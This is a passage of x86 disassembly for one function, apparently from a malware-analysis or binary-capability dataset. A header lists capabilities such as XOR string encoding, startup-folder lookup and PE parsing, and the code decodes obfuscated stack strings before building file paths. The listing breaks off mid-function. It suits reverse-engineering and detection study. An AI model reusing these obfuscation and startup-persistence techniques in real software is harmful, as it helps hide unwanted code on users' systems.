Function at 0x427e60
Capabilities:
Encode data using xor
Get common file path
Get startup folder
Inspect section memory permissions
Parse pe header

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x523c15
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0xab0
push esi
mov esi, ecx
mov byte [ebp - 0x15], dl
mov dword [ebp - 0xb0], esi
push edi
mov dword [ebp - 0x1c], 1
mov dword [ebp - 4], 0
push ecx
call fcn.00480ed0
mov byte [ebp - 4], 4
sub esp, 0x10
movaps xmm0, xmmword [0x548510]
mov eax, 1
mov ecx, esp
mov dword [ebp - 0x20], esp
sub esp, 8
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
mov eax, esp
movups xmmword [ebp - 0x5d0], xmm0
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.00480ea0
add esp, 8
mov dword [ebp - 4], 5
xor ecx, ecx
nop dword [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x5d0], al
inc ecx
cmp ecx, 6
jb 0x427f00
lea eax, [ebp - 0x5d0]
mov dword [0x55d548], ecx
push eax
lea ecx, [ebp - 0x8c8]
mov byte [ebp - 0x5ca], 0
call fcn.00402ab0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x8c8]
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00486ff0
mov ecx, eax
mov byte [ebp - 4], 7
call fcn.00480b20
lea ecx, [ebp - 0x8c8]
mov byte [ebp - 4], 4
call fcn.00402a10
push 0x104
lea eax, [ebp - 0xac0]
push 0
push eax
call fcn.004fd0d0
add esp, 0xc
lea eax, [ebp - 0xac0]
push eax
movzx eax, byte [ebp - 0x15]
xor eax, 1
push 0
push 0
lea eax, [eax*2 + 0x1a]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebx + 0x24]
push eax
lea edx, [ebp - 0xac0]
lea ecx, [ebp - 0x60]
call fcn.00486de0
add esp, 4
mov dword [ebp - 4], 8
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
cmp byte [ebx + 8], 0
mov byte [ebp - 4], 9
jne 0x428375
sub esp, 0x18
lea eax, [ebp - 0x60]
mov ecx, esp
push eax
call fcn.00483010
push 0
mov dl, 1
lea ecx, [ebp - 0x74]
call fcn.00427910
add esp, 0x1c
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 0xa
call fcn.00481ca0
test eax, eax
jne 0x42804f
call fcn.00485200
lea ecx, [ebp - 0x38]
call fcn.00485200
lea ecx, [ebp - 0x60]
call fcn.00402a10
lea ecx, [ebx + 0xc]
call fcn.00402a10
lea ecx, [ebx + 0x24]
call fcn.00402a10
lea ecx, [ebx + 0x3c]
call fcn.00402a10
lea ecx, [ebx + 0x54]
call fcn.00402a10
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov ecx, dword [ebp - 0x70]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x74]
xor esi, esi
imul ecx
mov dword [ebp - 0x28], esi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4282c0
xor edi, edi
mov dword [ebp - 0x24], edi
push esi
lea ecx, [ebp - 0x74]
call fcn.00481c80
xorps xmm0, xmm0
mov byte [ebp - 0x133], 0xdb
mov esi, eax
movq qword [ebp - 0x132], xmm0
mov word [ebp - 0x12a], 0
xor ecx, ecx
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x133], al
inc ecx
cmp ecx, 1
jb 0x4280a0
lea eax, [ebp - 0x133]
mov dword [0x55d620], ecx
push eax
lea ecx, [ebp - 0x8b0]
mov byte [ebp - 0x132], 0
call fcn.00402ab0
lea ecx, [ebp - 0x8b0]
mov byte [ebp - 4], 0xb
call fcn.00402b50
push eax
lea edx, [ebp - 0x60]
lea ecx, [ebp - 0x928]
call fcn.00486d20
sub esp, 0x14
mov byte [ebp - 4], 0xc
mov ecx, esp
mov edx, eax
push esi
call fcn.00486f40
add esp, 4
lea ecx, [ebp - 0x198]
xor dl, dl
push 0
call fcn.00427910
add esp, 0x1c
lea ecx, [ebp - 0x928]
call fcn.00402a10
lea ecx, [ebp - 0x8b0]
mov byte [ebp - 4], 0xf
call fcn.00402a10
lea ecx, [ebp - 0x198]
call fcn.00481ca0
test eax, eax
je 0x428285
mov esi, dword [ebp - 0x198]
xor ecx, ecx
mov dword [ebp - 0x44], ecx
mov eax, 0x2aaaaaab
mov ecx, dword [ebp - 0x194]
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x428285
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebx + 0x50], 0x10
lea ecx, [esi + eax]
mov eax, dword [ecx + 0x10]
lea edx, [ebx + 0x3c]
cmovae edx, dword [ebx + 0x3c]
cmp dword [ecx + 0x14], 0x10
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x68], edx
jb 0x428192
mov ecx, dword [ecx]
mov dword [ebp - 0x48], ecx
mov esi, dword [ebx + 0x4c]
cmp esi, eax
ja 0x428253
sub eax, esi
test esi, esi
je 0x4282dd
movsx edx, byte [edx]
inc eax
add eax, ecx
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x40], eax
sub eax, ecx
push eax
push edx
push ecx
call fcn.004fe8c0
mov edi, eax
add esp, 0xc
test edi, edi
je 0x428250
nop word [eax + eax]
mov ecx, dword [ebp - 0x68]
mov edx, edi
sub esi, 4
jb 0x4281f1
nop word [eax + eax]
mov eax, dword [edx]
cmp eax, dword [ecx]
jne 0x4281f6
add edx, 4
add ecx, 4
sub esi, 4
jae 0x4281e0
cmp esi, 0xfffffffc
je 0x42822a
mov al, byte [edx]
cmp al, byte [ecx]
jne 0x428223
cmp esi, 0xfffffffd
je 0x42822a
mov al, byte [edx + 1]
cmp al, byte [ecx + 1]
jne 0x428223
cmp esi, 0xfffffffe
je 0x42822a
mov al, byte [edx + 2]
cmp al, byte [ecx + 2]
jne 0x428223
cmp esi, 0xffffffff
je 0x42822a
mov al, byte [edx + 3]
cmp al, byte [ecx + 3]
je 0x42822a
sbb eax, eax
or eax, 1
jmp 0x42822c
xor eax, eax
test eax, eax
je 0x4282d1
mov eax, dword [ebp - 0x40]
inc edi
sub eax, edi
push eax
push dword [ebp - 0x20]
push edi
call fcn.004fe8c0
mov esi, dword [ebx + 0x4c]
mov edi, eax
add esp, 0xc
test edi, edi
jne 0x4281d0
mov edi, dword [ebp - 0x24]
mov ecx, dword [ebp - 0x194]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x198]
sub ecx, esi
add dword [ebp - 0x3c], 0x18
inc dword [ebp - 0x44]
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x3c]
jb 0x428170
lea ecx, [ebp - 0x198]
mov byte [ebp - 4], 0xa
call fcn.00485200
mov ecx, dword [ebp - 0x70]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x74]
add edi, 0x18
mov esi, dword [ebp - 0x28]
imul ecx
inc esi
mov dword [ebp - 0x24], edi
sar edx, 2
mov eax, edx
mov dword [ebp - 0x28], esi
shr eax, 0x1f
add eax, edx
cmp esi, eax
jb 0x428076
lea ecx, [ebp - 0x74]
mov byte [ebp - 4], 9
call fcn.00485200
jmp 0x4283a7
sub edi, dword [ebp - 0x48]
cmp edi, 0xffffffff
je 0x428250
mov ecx, dword [ebp - 0x34]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x38]
xor edi, edi
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
mov dword [ebp - 0x20], eax
je 0x428348
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x74]
mov dword [ebp - 0x40], ecx
mov edx, dword [ecx + 0x10]
nop dword [eax]
cmp dword [ecx + 0x14], 0x10
mov eax, ecx
jb 0x42831a
mov eax, dword [ecx]
cmp dword [esi + 0x14], 0x10
mov ecx, esi
jb 0x428324
mov ecx, dword [esi]
push edx
mov edx, dword [esi + 0x10]
push eax
call fcn.00492d00
add esp, 8
test al, al
jne 0x428250
mov ecx, dword [ebp - 0x40]
inc edi
add esi, 0x18
mov edx, dword [ecx + 0x10]
cmp edi, dword [ebp - 0x20]
jb 0x428310
mov eax, dword [ebp - 0x74]
mov edi, dword [ebp - 0x24]
add eax, edi
mov ecx, dword [ebp - 0x34]
push eax
cmp ecx, dword [ebp - 0x30]
je 0x428367
call fcn.00483010
add dword [ebp - 0x34], 0x18
jmp 0x428253
push ecx
lea ecx, [ebp - 0x38]
call fcn.0048fcd0
jmp 0x428253
push 0x5424b0
lea ecx, [ebp - 0x724]
call fcn.00402ab0
lea eax, [ebp - 0x724]
mov byte [ebp - 4], 0x10
push eax
lea ecx, [ebp - 0x38]
call fcn.00481d00
lea ecx, [ebp - 0x724]
mov byte [ebp - 4], 9
call fcn.00402a10
lea ecx, [ebp - 0x38]
call fcn.00481ca0
test eax, eax
jne 0x4283e5
push 0x5424b0
lea ecx, [ebp - 0x724]
call fcn.00402ab0
lea eax, [ebp - 0x724]
mov byte [ebp - 4], 0x11
push eax
lea ecx, [ebp - 0x38]
call fcn.00481d00
lea ecx, [ebp - 0x724]
mov byte [ebp - 4], 9
call fcn.00402a10
xorps xmm0, xmm0
mov byte [ebp - 0x13e], 0xdb
movq qword [ebp - 0x13d], xmm0
xor ecx, ecx
mov word [ebp - 0x135], 0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x13e], al
inc ecx
cmp ecx, 1
jb 0x428402
lea eax, [ebp - 0x13e]
mov dword [0x55d620], ecx
push eax
lea ecx, [ebp - 0x8e0]
mov byte [ebp - 0x13d], 0
call fcn.00402ab0
lea ecx, [ebp - 0x8e0]
mov byte [ebp - 4], 0x12
call fcn.00402b50
push eax
lea edx, [ebp - 0x60]
lea ecx, [ebp - 0x940]
call fcn.00486d20
sub esp, 0x14
mov byte [ebp - 4], 0x13
lea edx, [ebx + 0x54]
mov ecx, esp
push edx
mov edx, eax
call fcn.00486f40
add esp, 4
call fcn.0040da60
add esp, 0x18
mov byte [ebp - 0x15], al
lea ecx, [ebp - 0x940]
call fcn.00402a10
lea ecx, [ebp - 0x8e0]
mov byte [ebp - 4], 9
call fcn.00402a10
cmp byte [ebp - 0x15], 0
jne 0x4285b8
movaps xmm0, xmmword [0x549d90]
xor ecx, ecx
movups xmmword [ebp - 0x6ee], xmm0
mov word [ebp - 0x6d6], 0
xorps xmm0, xmm0
movq qword [ebp - 0x6de], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x6ee], al
inc ecx
cmp ecx, 0x10
jb 0x4284c0
lea eax, [ebp - 0x6ee]
mov dword [0x55d628], ecx
push eax
lea ecx, [ebp - 0x8f8]
mov byte [ebp - 0x6de], 0
call fcn.00402ab0
sub esp, 0x18
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x8f8]
mov esi, esp
call fcn.00402b50
push eax
lea edx, [ebp - 0x60]
mov ecx, esi
call fcn.00486d20
add esp, 4
call fcn.0040da60
add esp, 0x18
mov byte [ebp - 0x15], al
lea ecx, [ebp - 0x8f8]
mov byte [ebp - 4], 9
call fcn.00402a10
cmp byte [ebp - 0x15], 0
je 0x4285b8
movaps xmm0, xmmword [0x5482f0]
xor ecx, ecx
mov dword [ebp - 0x1e2], 0xebeae7cb
mov dword [ebp - 0x1de], 0xebffdce7
mov byte [ebp - 0x1da], 0xe9
movups xmmword [ebp - 0x1d9], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x1e2], al
inc ecx
cmp ecx, 0xf
jb 0x428561
lea eax, [ebp - 0x1e2]
mov dword [0x55d558], ecx
push eax
lea ecx, [ebp - 0x910]
mov byte [ebp - 0x1d3], 0
call fcn.00402ab0
lea ecx, [ebp - 0x910]
mov byte [ebp - 4], 0x15
call fcn.00402b50
push eax
lea ecx, [ebx + 0x54]
call fcn.00482e30
lea ecx, [ebp - 0x910]
mov byte [ebp - 4], 9
call fcn.00402a10
xorps xmm0, xmm0
mov byte [ebp - 0x149], 0xdb
movq qword [ebp - 0x148], xmm0
xor ecx, ecx
mov word [ebp - 0x140], 0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x149], al
inc ecx
cmp ecx, 1
jb 0x4285d5
lea eax, [ebp - 0x149]
mov dword [0x55d620], ecx
push eax
lea ecx, [ebp - 0x790]
mov byte [ebp - 0x148], 0
call fcn.00402ab0
lea ecx, [ebp - 0x790]
mov byte [ebp - 4], 0x16
call fcn.00402b50
push eax
lea edx, [ebp - 0x60]
lea ecx, [ebp - 0x958]
call fcn.00486d20
sub esp, 0x14
mov byte [ebp - 4], 0x17
lea edx, [ebx + 0x54]
mov ecx, esp
push edx
mov edx, eax
call fcn.00486f40
add esp, 4
lea ecx, [ebp - 0x5b0]
call fcn.0040d3d0
add esp, 0x18
lea ecx, [ebp - 0x958]
call fcn.00402a10
lea ecx, [ebp - 0x790]
mov byte [ebp - 4], 0x1a
call fcn.00402a10
push 0x5424b0
lea ecx, [ebp - 0x408]
call fcn.00402ab0
mov byte [ebp - 4], 0x1b
cmp dword [ebp - 0x5a0], 0
je 0x4289cd
sub esp, 0x28
lea edx, [ebp - 0x5b0]
mov eax, esp
lea ecx, [ebp - 0x5c0]
push 0
push 1
mov dword [eax + 0x24], 0
call fcn.00487220
add esp, 0x30
mov byte [ebp - 4], 0x1c
xor ecx, ecx
movaps xmm0, xmmword [0x5482c0]
mov word [ebp - 0x4f1], 0xfbe8
movups xmmword [ebp - 0x4ef], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x4f1], al
inc ecx
cmp ecx, 8
jb 0x4286c4
lea eax, [ebp - 0x4f1]
mov dword [0x55d624], ecx
push eax
lea ecx, [ebp - 0x7d8]
mov byte [ebp - 0x4e9], 0
call fcn.00402ab0
mov eax, 3
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x7d8]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.00402b50
push eax
lea ecx, [ebp - 0x5c0]
call fcn.00486ff0
cmp byte [eax], 0
je 0x42881f
movaps xmm0, xmmword [0x5482c0]
xor ecx, ecx
mov word [ebp - 0x527], 0xfbe8
movups xmmword [ebp - 0x525], xmm0
nop dword [eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x527], al
inc ecx
cmp ecx, 8
jb 0x428740
lea eax, [ebp - 0x527]
mov dword [0x55d624], ecx
push eax
lea ecx, [ebp - 0x7c0]
mov byte [ebp - 0x51f], 0
call fcn.00402ab0
mov dword [ebp - 4], 0x1e
lea ecx, [ebp - 0x7c0]
mov dword [ebp - 0x1c], 7
call fcn.00402b50
push eax
lea ecx, [ebp - 0x5c0]
call fcn.00486ff0
movaps xmm0, xmmword [0x547c00]
mov esi, eax
mov dword [ebp - 0x22b], 0xf8eae6e2
xor ecx, ecx
mov word [ebp - 0x227], 0xfcf2
mov byte [ebp - 0x225], 0xf9
movups xmmword [ebp - 0x224], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x22b], al
inc ecx
cmp ecx, 0xd
jb 0x4287c1
lea eax, [ebp - 0x22b]
mov dword [0x55d57c], ecx
push eax
lea ecx, [ebp - 0x7a8]
mov byte [ebp - 0x21e], 0
call fcn.00402ab0
mov eax, 0xf
mov dword [ebp - 4], 0x1f
lea ecx, [ebp - 0x7a8]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00486ff0
mov byte [ebp - 0x15], 1
cmp byte [eax], 0
jne 0x428823
mov byte [ebp - 0x15], 0
mov eax, dword [ebp - 0x14]
test al, 8
je 0x428841
and eax, 0xfffffff7
lea ecx, [ebp - 0x7a8]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.00402a10
mov eax, dword [ebp - 0x14]
test al, 4
je 0x42885c
and eax, 0xfffffffb
lea ecx, [ebp - 0x7c0]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.00402a10
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], 0x1c
test al, 2
je 0x42887b
and eax, 0xfffffffd
lea ecx, [ebp - 0x7d8]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
call fcn.00402a10
cmp byte [ebp - 0x15], 0
je 0x4289be
movaps xmm0, xmmword [0x5482c0]
xor ecx, ecx
mov word [ebp - 0x4df], 0xfbe8
movups xmmword [ebp - 0x4dd], xmm0
nop
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x4df], al
inc ecx
cmp ecx, 8
jb 0x4288a0
lea eax, [ebp - 0x4df]
mov dword [0x55d624], ecx
push eax
lea ecx, [ebp - 0x808]
mov byte [ebp - 0x4d7], 0
call fcn.00402ab0
lea ecx, [ebp - 0x808]
mov byte [ebp - 4], 0x20
call fcn.00402b50
push eax
lea ecx, [ebp - 0x5c0]
call fcn.00486ff0
movaps xmm0, xmmword [0x547c00]
mov esi, eax
mov dword [ebp - 0x242], 0xf8eae6e2
xor ecx, ecx
mov word [ebp - 0x23e], 0xfcf2
mov byte [ebp - 0x23c], 0xf9
movups xmmword [ebp - 0x23b], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x242], al
inc ecx
cmp ecx, 0xd
jb 0x428920
lea eax, [ebp - 0x242]
mov dword [0x55d57c], ecx
push eax
lea ecx, [ebp - 0x7f0]
mov byte [ebp - 0x235], 0
call fcn.00402ab0
lea ecx, [ebp - 0x7f0]
mov byte [ebp - 4], 0x21
call fcn.00402b50
push eax
mov ecx, esi
call fcn.00486ff0
lea ecx, [ebp - 0x988]
push ecx
mov ecx, eax
call fcn.00487130
mov edx, eax
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x970]
call fcn.004028f0
push eax
lea ecx, [ebp - 0x408]
call fcn.00482e90
lea ecx, [ebp - 0x970]
call fcn.00402a10
lea ecx, [ebp - 0x988]
call fcn.00402a10
lea ecx, [ebp - 0x7f0]
call fcn.00402a10
lea ecx, [ebp - 0x808]
call fcn.00402a10
lea ecx, [ebp - 0x5c0]
mov byte [ebp - 4], 0x1b
call fcn.00480b00
mov ecx, dword [ebp - 0x34]
mov eax, 0x2aaaaaab
sub ecx, dword [ebp - 0x38]
xor edi, edi
imul ecx
mov dword [ebp - 0x24], edi
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x42b3fb
nop
cmp byte [ebx + 8], 0
xorps xmm0, xmm0
je 0x428a30
movups xmmword [ebp - 0x45c], xmm0
mov dword [ebp - 0x44c], 0
mov dword [ebp - 0x448], 0xf
mov byte [ebp - 0x45c], 0
mov byte [ebp - 4], 0x23
lea edi, [ebp - 0x45c]
mov eax, dword [ebp - 0x14]
or eax, 0x10
jmp 0x428b37
mov byte [ebp - 0xc3], 0xdb
xor ecx, ecx
movq qword [ebp - 0xc2], xmm0
mov word [ebp - 0xba], 0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xc3], al
inc ecx
cmp ecx, 1
jb 0x428a50
mov dword [0x55d620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xc3]
mov byte [ebp - 0xc2], 0
movups xmmword [ebp - 0x340], xmm0
mov dword [ebp - 0x330], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x32c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x428a95
sub ecx, edx
lea eax, [ebp - 0xc3]
push ecx
push eax
lea ecx, [ebp - 0x340]
call fcn.00402b80
mov dword [ebp - 4], 0x24
lea ecx, [edi + edi*2]
mov eax, dword [ebp - 0x14]
lea esi, [ebp - 0x340]
or eax, 0x20
cmp dword [ebp - 0x32c], 0x10
mov dword [ebp - 0x14], eax
cmovae esi, dword [ebp - 0x340]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x38]
mov edi, dword [eax + ecx*8 + 0x10]
lea edx, [eax + ecx*8]
mov ecx, esi
lea eax, [ecx + 1]
mov dword [ebp - 0x20], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x428af0
sub ecx, dword [ebp - 0x20]
mov eax, closesocket
sub eax, edi
cmp eax, ecx
jb 0x42b60f
cmp dword [edx + 0x14], 0x10
jb 0x428b11
mov edx, dword [edx]
push ecx
push esi
push edi
push edx
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x644]
call fcn.0048aa20
mov dword [ebp - 4], 0x25
lea edi, [ebp - 0x644]
mov eax, dword [ebp - 0x14]
or eax, 0x40
xorps xmm0, xmm0
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], eax
xor ecx, ecx
mov byte [ebp - 0xce], 0xdb
movq qword [ebp - 0xcd], xmm0
mov word [ebp - 0xc5], 0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0xce], al
inc ecx
cmp ecx, 1
jb 0x428b60
mov dword [0x55d620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0xce]
mov byte [ebp - 0xcd], 0
movups xmmword [ebp - 0x358], xmm0
mov dword [ebp - 0x348], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x344], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x428ba5
sub ecx, edx
lea eax, [ebp - 0xce]
push ecx
push eax
lea ecx, [ebp - 0x358]
call fcn.00402b80
mov dword [ebp - 4], 0x26
lea edx, [ebp - 0x358]
cmp dword [ebp - 0x344], 0x10
cmovae edx, dword [ebp - 0x358]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x428be1
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0x50]
sub eax, esi
cmp eax, ecx
jb 0x42b60f
cmp dword [ebp - 0x4c], 0x10
lea eax, [ebp - 0x60]
push ecx
cmovae eax, dword [ebp - 0x60]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0x62c]
call fcn.0048aa20
push edi
lea eax, [ebp - 0x62c]
mov byte [ebp - 4], 0x27
push eax
push dword [ebp - 0x20]
lea ecx, [ebp - 0x614]
call fcn.0048a830
mov edi, dword [ebp - 0x14]
or edi, 0x10000000
mov dword [ebp - 0x1c], edi
sub esp, 0x18
mov byte [ebp - 4], 0x28
mov esi, esp
lea eax, [ebx + 0x54]
lea ecx, [ebp - 0x614]
mov dword [ebp - 0x20], esi
push eax
call fcn.00482d90
xorps xmm0, xmm0
or edi, 0x20000000
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmm0, xmmword [eax]
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x1c], edi
movups xmmword [esi], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [esi + 0x10], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
call fcn.0040da60
add esp, 0x18
mov byte [ebp - 4], 0x27
mov ecx, dword [ebp - 0x600]
test al, al
sete byte [ebp - 0x15]
cmp ecx, 0x10
jb 0x428ce8
mov edx, dword [ebp - 0x614]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x428cde
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 0x26
mov ecx, dword [ebp - 0x618]
mov dword [ebp - 0x604], 0
mov dword [ebp - 0x600], 0xf
mov byte [ebp - 0x614], 0
cmp ecx, 0x10
jb 0x428d41
mov edx, dword [ebp - 0x62c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x428d37
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 0x25
mov ecx, dword [ebp - 0x344]
mov dword [ebp - 0x61c], 0
mov dword [ebp - 0x618], 0xf
mov byte [ebp - 0x62c], 0
cmp ecx, 0x10
jb 0x428d9a
mov edx, dword [ebp - 0x358]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x428d90
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 4], 0x24
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x348], 0
mov dword [ebp - 0x344], 0xf
mov byte [ebp - 0x358], 0
test al, 0x40
je 0x428e24
mov ecx, dword [ebp - 0x630]
and eax, 0xffffffbf
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x428e09
mov edx, dword [ebp - 0x644]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x428dfc
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
mov eax, dword [ebp - 0x14]
add esp, 8
mov dword [ebp - 0x634], 0
mov dword [ebp - 0x630], 0xf
mov byte [ebp - 0x644], 0
mov dword [ebp - 4], 0x23
test al, 0x20
je 0x428e90
mov ecx, dword [ebp - 0x32c]
and eax, 0xffffffdf
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x428e75
mov edx, dword [ebp - 0x340]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x428e68
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
mov eax, dword [ebp - 0x14]
add esp, 8
mov dword [ebp - 0x330], 0
mov dword [ebp - 0x32c], 0xf
mov byte [ebp - 0x340], 0
mov dword [ebp - 4], 0x1b
test al, 0x10
je 0x428ef9
mov ecx, dword [ebp - 0x448]
and eax, 0xffffffef
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], eax
cmp ecx, 0x10
jb 0x428ede
mov edx, dword [ebp - 0x45c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x428ed4
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x42b60a
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov dword [ebp - 0x44c], 0
mov dword [ebp - 0x448], 0xf
mov byte [ebp - 0x45c], 0
cmp byte [ebp - 0x15], 0
je 0x4293f7
xor ecx, ecx
cmp byte [ebx + 8], cl
je 0x429020
movaps xmm0, xmmword [0x5482f0]
mov dword [ebp - 0x189], 0xebeae7cb
mov dword [ebp - 0x185], 0xebffdce7
mov byte [ebp - 0x181], 0xe9
movups xmmword [ebp - 0x180], xmm0
nop word [eax + eax]
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x189], al
inc ecx
cmp ecx, 0xf
jb 0x428f40
mov dword [0x55d558], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x189]
mov byte [ebp - 0x17a], 0
movups xmmword [ebp - 0x550], xmm0
mov dword [ebp - 0x540], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x53c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x428f85
sub ecx, edx
lea eax, [ebp - 0x189]
push ecx
push eax
lea ecx, [ebp - 0x550]
call fcn.00402b80
mov byte [ebp - 4], 0x29
lea edx, [ebp - 0x550]
mov eax, dword [ebp - 0x14]
xorps xmm0, xmm0
or eax, 0x80
mov dword [ebp - 0x6fc], 0
cmp dword [ebp - 0x53c], 0x10
mov dword [ebp - 0x14], eax
cmovae edx, dword [ebp - 0x550]
mov ecx, edx
mov dword [ebp - 0x1c], eax
movups xmmword [ebp - 0x70c], xmm0
mov dword [ebp - 0x6f8], 0
lea esi, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x428ff0
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x70c]
call fcn.00402b80
mov dword [ebp - 4], 0x2a
lea edi, [ebp - 0x70c]
mov eax, dword [ebp - 0x14]
or eax, 0x100
jmp 0x42912b
movaps xmm0, xmmword [0x549d90]
movups xmmword [ebp - 0x5fa], xmm0
mov word [ebp - 0x5e2], 0
xorps xmm0, xmm0
movq qword [ebp - 0x5ea], xmm0
mov al, cl
sub al, 0x79
xor byte [ebp + ecx - 0x5fa], al
inc ecx
cmp ecx, 0x10
jb 0x429042
mov dword [0x55d628], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x5fa]
mov byte [ebp - 0x5ea], 0
movups xmmword [ebp - 0x568], xmm0
mov dword [ebp - 0x558], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x554], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x429087
sub ecx, edx
lea eax, [ebp - 0x5fa]
push ecx
push eax
lea ecx, [ebp - 0x568]
call fcn.00402b80
mov dword [ebp - 4], 0x2b
lea edi, [ebp - 0x568]
mov eax, dword [ebp - 0x14]
or eax, 0x200
cmp dword [ebp - 0x554], 0x10
